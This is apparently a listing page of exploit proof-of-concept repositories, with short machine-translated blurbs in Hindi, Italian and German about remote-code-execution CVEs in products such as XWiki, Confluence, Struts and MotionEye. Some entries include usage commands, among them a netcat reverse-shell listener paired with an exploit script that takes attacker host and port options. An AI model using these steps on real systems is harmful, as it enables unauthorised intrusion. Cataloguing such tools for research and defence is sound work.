oracle-weblogic-CVE-2021-2109

oracle-weblogic-CVE-2021-2109 Oracle Weblogic RCE - CVE-2022-2109...

cve-2025-24893

CVE-2025-24893 XWiki RCE शोषण XWiki प्लेटफ़ॉर्म में CVE-2025-24893 , एक दूरस्थ कोड निष्पादन RCE भेद्यता का शोषण करने के लिए एक सरल Python3 स्क्रिप्ट, जो Groovy-आधारित async मैक्रो और एक कॉन्फ़िगरेबल रिवर्स शेल पेलोड का उपयोग करती है। ⚠️ चेतावनी: यह उपकरण केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों क...

CVE-2021-42013

CVE-2021-42013 - Apache HTTP Server 2.4.50 Come eseguire il lab CVE-2021-42013-Path Traversal 1. Installa ed esegui Docker sul tuo PC/Laptop 2. Clona questa repo github 3. Vai alla cartella Path Traversal 4. Inserisci il seguente comando docker build -t cve-2021-42013-path-traversal . e docker ru...

CVE-2020-28502

CVE-2020-28502 node-XMLHttpRequest RCE NVD-Beschreibung Dies betrifft das Paket xmlhttprequest vor 1.7.0 sowie alle Versionen des Pakets xmlhttprequest-ssl. Sofern Anfragen synchron gesendet werden async=False bei xhr.open, kann schädliche Benutzereingabe, die in xhr.send fließt, dazu führen, das...

CVE-2024-32002

CVE-2024-32002 1. Modifica il file exploit.sh sostituisci i repository 2. esegui bash exploit.sh exploit.sh Ispirato da - https://github.com/safebuffer/CVE-2024-32002 Realizzato per CTF Versioni vulnerabili v2.45.0 v2.44.0 =v2.43.3 =v2.42.1 v2.41.0 =v2.40.1 =v2.39.3 Fonte...

SOC227-Microsoft-SharePoint-Server-Elevation-of-Privilege-Possible-CVE-2023-29357-Exploitation

SOC227 - Microsoft SharePoint Server Elevazione dei privilegi Sfruttamento di CVE-2023-29357 CVE-2023-29357 è una vulnerabilità critica di elevazione dei privilegi che, se combinata con altre vulnerabilità, potrebbe potenzialmente portare all'esecuzione di codice in remoto. Il punteggio CVSS di...

ATLASSIAN-Confluence_rce

ATLASSIAN-Confluencerce CVE-2022-26134 Installation root@kitploit: git clone https://github.com/xanszZZ/ATLASSIAN-Confluencerce cd ATLASSIAN-Confluencerce Verwendung Da dieses Tool ein POC ist, das gemäß den Entwicklungsrichtlinien des pocsuite3-Frameworks erstellt wurde, laden Sie bitte vor der...

CVE-2023-51385_poc-test

CVE-2023-51385 poc OpenSSH ProxyCommand RCE poc OpenSSH 9.6 Befehlsinjektions-Schwachstelle PoC Chinesisch 1.vim /.ssh/config oder bearbeite C:/Users/username/.ssh/config unter Windows root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 2. git clone...

CVE-2018-11776-FIS

CVE-2018-11776 ist eine Sicherheitslücke in Apache Struts, einem beliebten Framework für die Entwicklung von Webanwendungen. Diese Schwachstelle ermöglicht es Angreifern, entfernte Angriffe durchzuführen, indem sie schädlichen Code in Datenfelder von HTTP-Anfragen einschleusen. Diese...

CVE-2024-7593

CVE-2024-7593 विवरण: CVE-2024-7593 एक गंभीर कमजोरी है जो कई Pulse Secure उत्पादों को प्रभावित करती है, जिसमें Pulse Secure VPN भी शामिल है। यह कमजोरी एक प्रमाणित हमलावर को प्रबंधन इंटरफ़ेस तक पहुंच के साथ प्रभावित सर्वर पर मनमाने कमांड निष्पादित करने की अनुमति देती है। इससे दुर्भावनापूर्ण कोड का...

CVE-RCE

Dieses Repository hat keine README-Datei...

CVE-2024-25153

Exploit per CVE-2024-25153 Indice Clicca per visualizzare 1. Introduzione 2. Installazione 3. Utilizzo 4. Contribuire 5. Licenza Introduzione Benvenuto nell'Exploit per CVE-2024-25153! Questo progetto è una soluzione per sfruttare la vulnerabilità CVE-2024-25153 ed eseguire codice da remoto in...

CVE-2023-38646

CVE-2023-38646 Lo script originale proviene da securezeron Durante i miei test, ho scoperto che la reverse shell generata da questo PoC, dopo la codifica base64, falliva a causa del carattere '=' alla fine. L'ho leggermente modificato per risolvere questo problema. root@kitploit: 原始的生成reverse...

CVE-2023-36844

CVE-2023-36844 La vulnerabilità "Esecuzione di codice remoto nei prodotti Juniper JunOS all'interno delle serie SRX ed EX" è un problema di sicurezza che consente a un aggressore di eseguire codice arbitrario su un dispositivo Juniper target che esegue il software JunOS. Questa vulnerabilità...

RCE_CVE-2024-7954

RCECVE-2024-7954 Beschreibung: Das porteplume-Plugin, das von SPIP vor 4.30-alpha2, 4.2.13 und 4.1.16 verwendet wird, ist anfällig für eine Schwachstelle zur Ausführung beliebigen Codes. Ein entfernter und nicht authentifizierter Angreifer kann beliebiges PHP als SPIP-Benutzer ausführen, indem er...

PS-2018-002---CVE-2018-14442

Foxit Reader - CPDFParser::mpCryptoHandler - Uso dopo liberazione - RCE Vulnerabilità Fare riferimento a memoria dopo che è stata liberata può causare il crash di un programma, l'uso di valori imprevisti o l'esecuzione di codice Descrizione della vulnerabilità Questa vulnerabilità consente a un...

Exploit_CVE-2019-17558-RCE

ExploitCVE-2019-17558-RCE Iniezione Apache Solr 1.4 per ottenere una shell per codificare url, postrequest, getrequest...

CVE-2020-24597

Erstellt von HK CVE-2020-24597: Directory Traversal in commedia zu RCE Hinweis: Da Joomla Core 3.9.21 den Fehler nicht richtig behoben hat, wurde dieser Bug daher nicht ordnungsgemäß gepatcht. Ich kann diesen Patch leicht umgehen. Ich möchte dieses Geheimnis bewahren, bis dieser Bug vollständig...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE autenticata in MotionEye = 0.43.1b4 tramite bypass della convalida lato client sul campo imagefilename. Utilizzo root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Opzioni...

CVE-2024-37759_PoC

CVE-2024-37759 PoC Beschreibung DataGear Version 5.0.0 und früher weist eine Schwachstelle für SpEL-Ausdruckseinschleusung auf, die zu Remote-Code-Ausführung führt. Exploit CVE-Exploit-Details Wenn Sie die Schnittstelle /data/schemaId/tableName/view aufrufen und die Datenbanktabelle keinen...